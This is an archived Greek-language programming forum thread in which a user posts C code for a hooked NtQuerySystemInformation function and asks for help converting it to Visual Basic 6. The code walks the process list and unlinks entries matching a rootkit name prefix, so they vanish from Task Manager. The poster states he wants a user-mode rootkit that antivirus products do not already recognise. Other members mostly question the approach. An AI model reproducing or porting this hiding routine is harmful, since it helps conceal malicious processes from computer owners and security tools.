ntaryl Δημοσ. 20 Δεκεμβρίου 2009 Δημοσ. 20 Δεκεμβρίου 2009 καλησπερα παιδια θελω να μεταρεψω αυτο το κομματι κωδικα σε VB 6.0 οποιος μπορει να με βοηθησει > DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec; char *pname = NULL; DWORD rc; /* 1st of all, get the return value of the function */ rc = fNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); /* if sucessful, perform sorting */ if (rc == STATUS_SUCCESS) { /* system info */ switch (SystemInformationClass) { /* process list */ case SystemProcessInformation: pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION) SystemInformation; while (1) { /* alloc memory to save process name in AINSI 8bits string charset */ pname = (char *) GlobalAlloc(GMEM_ZEROINIT, pSpiCurrent->ProcessName.Length + 2); /* Convert unicode string to ainsi */ WideCharToMultiByte(CP_ACP, 0, pSpiCurrent->ProcessName.Buffer, pSpiCurrent->ProcessName.Length + 1, pname, pSpiCurrent->ProcessName.Length + 1, NULL, NULL); /* if "hidden" process*/ if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR, strlen(RTK_PROCESS_CHAR))) { /* First process */ if (pSpiCurrent->NextEntryDelta == 0) { pSpiPrec->NextEntryDelta = 0; break; } else { pSpiPrec->NextEntryDelta += pSpiCurrent->NextEntryDelta; pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION) ((PCHAR) pSpiCurrent + pSpiCurrent->NextEntryDelta); } } else { if (pSpiCurrent->NextEntryDelta == 0) break; pSpiPrec = pSpiCurrent; /* Walk the list */ pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION) ((PCHAR) pSpiCurrent + pSpiCurrent->NextEntryDelta); } GlobalFree(pname); } /* /while */ break; } /* /switch */ } /* /if */ return (rc); } Υ.γ Ευχαριστω πολυ Virxen ριξε μια ματια
ippo00 Δημοσ. 20 Δεκεμβρίου 2009 Δημοσ. 20 Δεκεμβρίου 2009 Το ξέρω ότι δεν θες να το ξανακούσεις αλλά ίσως ήρθε η ώρα να μάθεις μια κανονική γλώσσα
virxen75 Δημοσ. 21 Δεκεμβρίου 2009 Δημοσ. 21 Δεκεμβρίου 2009 μου φαίνεται πιο απλό να μας πεις τι θες να κάνεις και να το γράψουμε από την αρχή παρά να προσπαθήσουμε να βγάλουμε άκρη από τον κώδικα που στέλνεις.
random Δημοσ. 21 Δεκεμβρίου 2009 Δημοσ. 21 Δεκεμβρίου 2009 my guess: προσπαθεί να υλοποιήσει ενα rootkit σε... vb6 οκ. δεν λεω οτι ειναι αδύνατο, αλλα οταν μπλεκεις με τέτοια -low level- θεματα, θα αναγκαστείς να διαβάσεις κώδικα win32. Ασχετα σε τι γράφεις (vb,net,delphi, anything..) το δικό σου app , θα αναγκαστεις να καλέσεις win32 api. αν δεν ξερεις τα βασικα απο c/c++ δεν θα πας πολύ μακρυά.
ntaryl Δημοσ. 21 Δεκεμβρίου 2009 Μέλος Δημοσ. 21 Δεκεμβρίου 2009 Καλησπερα Πολυ σωστα φιλε random προσπαθω να το φτιαξω σε VB 6.0 http://www.securiteam.com/securityreviews/5FP0E0AGAC.html Πολυ νομιζουνε οτι ειναι αδυνατο αλλα αφου μπορει να φτιαξει standalone dll τοτε μπορει .. Φιλε virxen75 προσπαθω να φτιαξω την επιστροφη της NtQuerysystemInformation ετσι ωστε οταν την κανω Hook να μπορει να κρυβει ενα αρχειο απο το task manager. Τα μονα παραδειγματα κωδικα που υπαρχουν ειναι υλοποιημενα σε αλλες Γλωσσες και γι αυτο ποσταρισα αυτο το κομματι κωδικα . Φιλε ippo00 .Δεν εχω σκεφτιε ακομα να αλλαξω αφου εδω εχει ακομα Ψωμι
virxen75 Δημοσ. 22 Δεκεμβρίου 2009 Δημοσ. 22 Δεκεμβρίου 2009 ...να κρυβει ενα αρχειο απο το task manager. .... υπάρχουν πολλές υλοποιήσεις σε VB αλλά τα antivirus τα θεωρούν ιούς! π.χ. http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=66529
ntaryl Δημοσ. 22 Δεκεμβρίου 2009 Μέλος Δημοσ. 22 Δεκεμβρίου 2009 καλησπερα Φιλε virxen75 το συγκεκριμενο παραδειγμα ειναι αρκετα παλιο και εχει χρησιμοποιηθει για την κατασκευη πολλων προγραμματων .εχει ως συνεπεια να ειναι γνωστο στα AV. Το παραδειγμα χρησιμοποιει ενα driver(sys) ο οποιος κανει ολη την δουλεια Δεν θελω να ασχοληθω σε επειεπεδο 0 .Αλλα μονο σε επειπεδο 3 (user mode) Σχετικα με το "υπάρχουν πολλές υλοποιήσεις σε VB " Δεν εχω βρει κατι . Παντα μιλαω σε επιπεδο 3(ring3 ) Αν εχεις εσυ κατι ? καλο βραδυ
Προτεινόμενες αναρτήσεις
Αρχειοθετημένο
Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.